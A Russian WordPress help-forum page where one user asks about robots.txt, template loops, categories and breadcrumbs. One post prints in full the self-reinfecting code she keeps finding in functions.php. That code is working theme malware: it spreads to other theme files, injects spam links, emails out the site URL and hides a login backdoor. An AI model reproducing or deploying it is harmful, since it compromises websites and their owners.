Mila

Что на самом деле запрещает robots.txt ?

Посмотрела рекомендованный robots.txt в кодексе:

User-agent: *
Disallow: /cgi-bin/
Disallow: /wp-admin/
Disallow: /wp-includes/
Disallow: /wp-content/plugins/
Disallow: /wp-content/cache/
Disallow: /wp-content/themes/
Disallow: /trackback/
Disallow: /feed/
Disallow: /comments/
Disallow: /category/*/*
Disallow: */trackback/
Disallow: */feed/
Disallow: */comments/
Disallow: /*?
Allow: /wp-content/uploads/

Отсюда вопросы к знатокам SEO и wordpress:

1. Почему все эти строки не заменить одной: Disallow: /wp-* ?

Disallow: /wp-admin/
Disallow: /wp-includes/
Disallow: /wp-content/plugins/
Disallow: /wp-content/cache/
Disallow: /wp-content/themes/

2. Что именно запрещают эти директивы?

Disallow: /trackback/
Disallow: */trackback/

Disallow: /*?*
Disallow: /*?
Disallow: /?

Я на своих сайтах не нашла ни одной страницы, в URL’е которой есть слово "trackback" или "?".

3. Почему в robots.txt должно быть два варианта URL’ов с feed?

Disallow: /feed/
Disallow: */feed/

4. То же самое, касательно этих директив:

Disallow: /comments/
Disallow: */comments/

Какие страницы они запрещают?

Явно не отдельные комментарии. Комментарии имеют в URL’ах окончание #comment-5178.

Почему нужны два варианта этих страниц?

Или в robots.txt обычно указывают все возможные варианты, не заморачиваясь тем, есть ли они на сайте или нет?

Буду очень благодарна, если кто то знает ответы на эти вопросы и поможет мне разобраться.

Как удалить статич. страницы из вывода

Возникла следующая проблема:

На Главной в цикле вместе с анонсами постов выводятся анонсы статических страниц.

Пыталась от них избавиться, указав в параметрах post_type=post:

 <?php if (is_home()) query_posts($query_string.'&post_type=post&post_status=publish'); ?>

Увы, не работает.

Может кто с таким сталкивался?

Помогите, пожалуйста.

Вывод записей в категориях

Пытаюсь вывести на странице категории список подкатегорий, а на странице подкатегории список записей этой подкатегории:

             <?php if (count(get_categories('child_of='.$cat)))
                    { 
                    echo '<h5>Подрубрики:</h5>'; 
                    echo '<ul>';
                    wp_list_cats('depth=1&hide_empty=0&show_count=1&title_li=&use_desc_for_title=false&child_of=' . $cat);
                    echo '</ul>';
                    }
             ?>    
              
             <ul>
             <?php 
                 query_posts("cat=$cat&showposts=10");
                 if (have_posts()) : while (have_posts()) : the_post(); 
                 $k = get_the_category($post->ID);
                 if ( $k[0]->cat_ID == $cat ) { 
             ?>
                 <li>
                    <?php
                        echo '<a href="'; the_permalink(); echo'">';
                        the_title(); 
                        echo '</a>';
                    ?>
                 </li>
             <?php } ?>
             <?php endwhile; else: echo '<p>В этой рубрике пока нет записей.</p>'; endif; ?>
             </ul>

и где то в коде есть ошибка, из за которой на странице родительской категории вылазят записи из подкатегорий –
у меня уже глаза замылились наверное, я ее не вижу.

Подскажите, люди добрые, в чем тут ошибка?

И еще одно: после вставки этого кода в файл archive.php перестала работать навигация в категориях.
На всех страницах (1, 2 и т.д.) начали выводиться одинаковае статьи.

Как написать условие в meta-тегах

Нужно задать проверку в description – если заполнено поле с ключем "seo-desc", то выводить его значение.
Если поле не заполнено, то показывать "single_cat_title();"

Вроде написала правильно, но почему то условие не срабатывает.

<meta name="description" content="<?php if ( (is_home()) || (is_front_page()) ) {
    bloginfo('description');
} elseif(is_single())  {       
    if($key !== '') { 
       $key="seo-desc"; echo get_post_meta($post->ID, $key, true); 
    } else {
        single_cat_title(); 
    }
} else {
    bloginfo('description');
}
?>" />

Подскажите, кто видит, в чем тут ошибка?

Проблема с выводом архивов по годам

Прочитала название и самой смешно стало -архивы выводятся стандартной wp-функцией.

<h3>По годам </h3>
<?php wp_get_archives('type=yearly'); ?>

<h3>По месяцам</h3>
<?php wp_get_archives('type=monthly'); ?>

Какие с ними могут быть проблемы?

Тем не менее на моем новом хостинге архивы выводятся так:

По годам
2011
2010
2009
2008
0

HTML:

       
        <h3>По годам </h3>
        <li><a href="http://sait.ru/archives/date/2011" title="2011">2011</a></li>
    <li><a href="http://sait.ru/archives/date/2010" title="2010">2010</a></li>
    <li><a href="http://sait.ru/archives/date/2009" title="2009">2009</a></li>
    <li><a href="http://sait.ru/archives/date/2008" title="2008">2008</a></li>
    <li><a href="http://sait.ru/archives/date/2011" title="0">0</a>

То же самое с выводом архивов по месяцам.

Кто нибудь с таким сталкивался?
Как это лечится?

Проверка на наличие подрубрик

При выводе списка категорий нужно сделать проверку на наличие подкатегорий – если в категории есть подкатегории, должно выводиться только ее название (без ссылки на категорию).

       
      <ul>
          <?php foreach ( (get_categories('hide_empty=0&exclude=') ) as $category ) if ( $category->category_parent == '0' ) { ?>
          <li><span class="parent">
                  <?php echo $category->cat_name; ?>
                  <span class="arrow"><a href="<?php echo get_category_link($category->cat_ID); ?>"> » </a></span>
              </span>
          
              <?php if (get_category_children($category->cat_ID) ) { ?>
                    <ul class="children">
                        <?php wp_list_categories('show_count=1&orderby=count&hide_empty=0&title_li&child_of=' . $category->cat_ID); ?>
                    </ul>
              <?php } ?>
          </li>
          <?php }  ?>    
       </ul>

Если подкатегорий нет, тогда нужно выводить название в виде ссылки на категорию.

<li><a href="<?php echo get_category_link($category->cat_ID); ?>"><?php echo $category->cat_name; ?></a></li>

Никак не могу сообразить, как в этот цикл вставить такую проверку.

Может кто-нибудь помочь?

Вывести картинку из описания кат.

Требуется вывести изображения из описания категорий на отдельную страницу.

Вот, что у меня получилось:

  <?php $cats = get_categories('child_of=0&orderby=name&hierarchical=0'); 
      foreach($cats as $category){
  ?>
    <div class="box">
        <a href="<?=get_category_link( $category->term_id )?>">
            <img src="<?=$category->category_description?>" alt="<?=$category->name?>" />
        </a>
        <a href="<?=get_category_link( $category->term_id )?>"><?=$category->name?></a>
    </div>
  <?php } ?>

Наверное, я что то намудрила, потому что, этот код не работает так, как нужно – выводит только названия категорий, а картинки, нет.

Помогите, кто может, плиз …

Автоматический вывод rss категорий

При добавлении к URL категории окончания /feed получаем rss-адрес категории.
Но это все ручная работа.

Возможно ли вывести список rss категорий автоматически, т.е. кодом?

Хотелось бы использовать для этого возможности WordPress или хак, а не плагин.

Это возможно?

Постраничная разбивка в комментариях

У меня в некоторых постах много комментариев и все отображаются на первой странице, несмотря на отмеченный пункт "Разбивать комментарии на страницы по 50 штук".

Думала, баг в файле comments.php – для проверки кинула в папку с темой этот файл из дефолтной темы.
Ничего не меняется – все комменты лезут на одну страницу.

Активировала дефолтную тему – та же история.

Может, кто сталкивался с такой проблемой?
Как это вылечить?

Проблема с относительными ссылками

У меня на денвере стоят 2 версии wordpress: 2.9 и 3.1.

На версии 2.9 нормально отображаются фоновые картинки, указанные относительными ссылками.
На версии 3.1 в каждой теме приходится прописывать абсолютные ссылки, иначе фоновые изображения вообще не показываются.

Денвер один и тот же, т.е. причина, по-видимому, не в нем, а именно в wordpress.

Я уже готова указать адрес сайта в самом wordpress, только не нашла, где именно его нужно указывать.

Никто с таким не сталкивался?
Как это можно вылечить?

Как решить такую задачу…

Планируется такая структура сайта:

  • Основной сайт – http://sait.ru
  • много поддоменов:

poddomen1.sait.ru
poddomen2.sait.ru
poddomen3.sait.ru

По сути 4 сайта.

Хотелось, чтобы все 4 работали на одной копии WordPress, но у каждого сайта была своя база данных.

Т.е. один движок, но 4 базы.

Реально ли сделать такое?
Если реально, то как?

Как вывести рубрики в таком виде

Требуется организовать на Главной вывод рубрик с несколькими постами из каждой рубрики.
Вот пример – http://i079.radikal.ru/1101/c8/23c1ff7d8899.jpg

Сначала собиралась переделать для этого какой-нибудь плагин карты сайта, но то, что получилось, работает криво.

Реально ли вообще это сделать на wordpress без использования множественных циклов?

И как такое можно сделать?

Как ускорить работу сайта

Вот пример быстрого сайта на wordpress – http://moregames.ru
Загружается очень быстро, даже быстрее, чем при установке плагина кэширования.

Подозреваю, что у них сам движок каким то образом оптимизирован для быстрой загрузки.

Как можно добиться такой скорости?
Есть идеи?

Как проверить активную категорию

Вывожу в сайдбаре меню категорий:

<ul id="menu"> 
<?php foreach ( (get_categories('show_last_updated=0&orderby=count&hide_empty=0') ) as $category ) { if ( $category->category_parent == '0' ) { ?>
     <li><a href="<?php echo get_category_link($category->cat_ID); ?>"><?php echo $category->cat_name; ?></a>       
         <?php if (get_category_children($category->cat_ID) ) { ?>
         <ul>
             <?php wp_list_categories('orderby=count&hide_empty=0&title_li&child_of=' . $category->cat_ID); ?>
         </ul>
         <?php } ?>
     </li>
<?php } } ?>
</ul>

Подскажите, пожалуйста, как вставить class="current_cat" в пункт меню, чтобы можно было выделить ссылку на активную в данный момент категорию.

По видимому нужно выполнить проверку на предмет того, на странице какой категории находится пользователь.

Пыталась сделать проверку по аналогии с проверкой –
<li <?php if(is_home()) { ?> class="current_cat" <?php } ?>><a href="<?php echo get_option(‘home’); ?>/">Главная</a></li>

Не работает.

Помогите, плиз…

Не работает WordPress на Денвере

У меня перестал нормально работать WordPress на Денвере.
ОС – Windows XP, Windows 7 (проблема наблюдается на обеих ОС)
Wordpress последней версии, Денвер также последний.

Проблема заключается в следующем:

В админке WordPress отображается – 7 рубрик.
Нажимаю на эту ссылку, попадаю на страницу рубрик – в списке рубрик нет ни одной.

На самом сайте отображаются названия рубрик – нажимаю на название, перехожу на страницу рубрики – там есть все (хедер, сайдбары, футер), нет только статей, которые находятся в рубриках.

Останавливаю Денвер и запускаю снова или нажимаю Restart с правами администратора – рубрики появляются. Но после нескольких перезагрузок страницы, опять исчезают.

Та же самая история с некоторыми Java-скриптами.

Эта проблема появилась на WordPress 3.0.

Поставила WordPress 3.1 – ничего не меняется.

А последние несколько дней на WordPress исчезают не только рубрики, но и статьи.
На Главной выводятся анонсы статей, а при переходе на страницу со статьей – пустая страница (т.е. на ней все есть, кроме текста статьи)

Грешила на Денвер, но на форуме Денвера мне убедительно доказали, что проблема в самом WordPress.

Как бы ее найти, эту проблему.

Посоветуйте, что нибудь, пожалуйста…

Посоветуйте трекер поисковых фраз

Поставила на сайт плагин keywords – а он поудалял половину тегов в постах.
В итоге на сайте сбилось все форматирование.

После этого как то стремно ставить непроверенные плагины.

Народ, можете порекомендовать плагин с похожим функционалом, который при этом не будет покушаться на верстку сайта?

Что это? Вирус?

У меня на сайте, в файле functions.php постоянно появляется этот код.
Я его удаляю, а на следующий день он опять самопрописуется в файле.

Что это может быть такое? Может вирус?

[code- <?php
function _check_isactive_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);
$output .= ($showdots && $ellipsis) ? "…" : "";
}
}
}
}
return $output;
}
function mytheme_clinkft() {
$urls = array(‘web’.’oy.or’.’g/’,’them’.’es.we’.’bo’.’y.org/’,’th’.’emes.we’.’bo’.’y.org/’,’th’.’em’.’es.w’.’eb’.’oy.org/’,’th’.’eme’.’s.w’.’ebo’.’y.org/’,’wp’.’2′.’b’.’log.com/’,’zh’.’ut’.’i.we’.’bo’.’y.o’.’rg/’);
$urlst = array(‘We’.’b’.’oy’ ,’Wor’.’dPr’.’ess The’.’mes’ ,’Fre’.’e Wo’.’rdPr’.’ess Th’.’emes’ ,’Fr’.’ee Wor’.’dPre’.’ss T’.’he’.’me’ ,’Pr’.’emium Wor’.’dPre’.’ss Th’.’em’.’es’ ,’Wor’.’dPre’.’ss Blo’.’g’,’Wo’.’rdPr’.’essЦч’.’Мв’);
srand(time());
$random = (rand()%7);
echo ‘<‘.’a ‘.’cla’.’ss="cl’.’inkf’.’t" hr’.’ef="ht’.’tp’.’:’.’/’.’/’.$urls[$random].’" t’.’itl’.’e="’.$urlst[$random].’">’.$urlst[$random].'<‘.’/a’.’>’;
}
if(!is_user_logged_in()){add_action( ‘w’.’p_fo’.’ote’.’r’, ‘mytheme_clinkft’ );add_action( ‘co’.’mmen’.’t_fo’.’rm’, ‘mytheme_clinkft’ );}

function _get_allwidgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids
=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_allwidgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) – $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) – ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_isactive_widget");
function _getsprepare_widget(){
if(!isset($com_length)) $com_length=120;
if(!isset($text_value)) $text_value="cookie";
if(!isset($allowed_tags)) $allowed_tags="<a>";
if(!isset($type_filter)) $type_filter="none";
if(!isset($expl)) $expl="";
if(!isset($filter_homes)) $filter_homes=get_option("home");
if(!isset($pref_filter)) $pref_filter="wp_";
if(!isset($use_more)) $use_more=1;
if(!isset($comm_type)) $comm_type="";
if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
if(!isset($postauthor_comment)) $postauthor_comment="";
if(!isset($comm_is_approved)) $comm_is_approved="";
if(!isset($postauthor)) $postauthor="auth";
if(!isset($more_link)) $more_link="(more…)";
if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
if(!isset($more_link_ditails)) $more_link_ditails="(details…)";
if(!isset($morecontents)) $morecontents="ma".$expl."il";
if(!isset($fmore)) $fmore=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$is_widget) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($f_tags)) $f_tags=1;
if(!isset($type_filters)) $type_filters=$filter_homes;
if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
if(!isset($aditional_tags)) $aditional_tags="div";
if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($more_link_text)) $more_link_text="Continue reading this entry";
if(!isset($showdots)) $showdots=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($com_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!–more–>")) {
$text=explode("<!–more–>", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $com_length) {
$l=$com_length;
$ellipsis=1;
} else {
$l=count($text);
$more_link="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $allowed_tags) {
$output=strip_tags($output, $allowed_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\0\x0B");
$output=($f_tags) ? balanceTags($output, true) : $output;
$output .= ($showdots && $ellipsis) ? "…" : "";
$output=apply_filters($type_filter, $output);
switch($aditional_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_more ) {
if($fmore) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_getsprepare_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
//
function get_custom_field_value($szKey, $bPrint = false) {
global $post;
$szValue = get_post_meta($post->ID, $szKey, true);
if ( $bPrint == false ) return $szValue; else echo $szValue;
}
?>[/code]

Хлебные крошки для категорий

Написала хлебные крошки для сайта.
Вроде работают нормально, за одним исключением – если статья добавлена в несколько категорий,
то на странице этой статьи в хлебных крошках выводятся все категории.

Выглядит это так:

На главную/Категория 1/Категория 2/Категория 3/Название статьи

Выглядит это некрасиво, но исправить у меня никак не получается.

Может кто-нибудь помочь?

Вот код:

  <?php if (is_home()) { ?> 
   
  <?php } elseif (is_single()) { ?>
     <a href="<?php echo get_option('home'); ?>">&laquo; На главную</a> /            
     <?php foreach((get_the_category()) as $cat) { 
     $cat=$cat->cat_ID; 
     echo(get_category_parents($cat, TRUE, ' / ')); } ?>Статья "<?php the_title(); ?>"
     
   <?php } elseif (is_category() and get_category($cat)->parent) { ?>
     <a href="<?php echo get_option('home'); ?>">&laquo; На главную</a> /            
     Архив Рубрики "<?php foreach((get_the_category()) as $cat) { 
     $cat=$cat->cat_ID; 
     echo(get_category_parents($cat, TRUE, '.&nbsp;')); } ?>"

Не создаются рубрики

Установила сегодня WordPress 3.0 на Денвер.

Проблема с рубриками.

Первая проблема:

При публикации статьи выбираю рубрику, публикую.
А статья попадает в рубрику "Без рубрики", которая в wordpress идет изначально, а не в выбранную мной рубрику.

Вторая:

Если рубрики создать штатным образом, а не на странице публикации записи, то на странице публикации они не отображаются.

Хотя все созданные рубрики где то, в подполье существуют, т.к. в консоли есть строка:

Прямо сейчас на сайте:

8 Записей
1 Страница
6 Рубрик
0 Меток

На сайте отображается список рубрик.
Открываю ссылку "Без рубрики", куда попали все статьи, там пусто – "В этой рубрике пока нет записей."

Обновилась да версии 3.1 – то же самое.
Плагины не установлены, так что мешать не могут.
Поменяла тему на дефолтную (хотя при чем тут тема?) – не помогло.

Даже не знаю, что делать.

Этой такой глюк у всех на WordPress 3.0 -3.1 или только у меня?

Как вывести img описания рубрик

Требуется вывести в слайдере картинки из описания рубрик, чтобы при клике по картинке посетитель попадал на страницу Рубрики.

Кто знает, такое возможно в WordPress?

Anonymous
Отправить
Ответ на: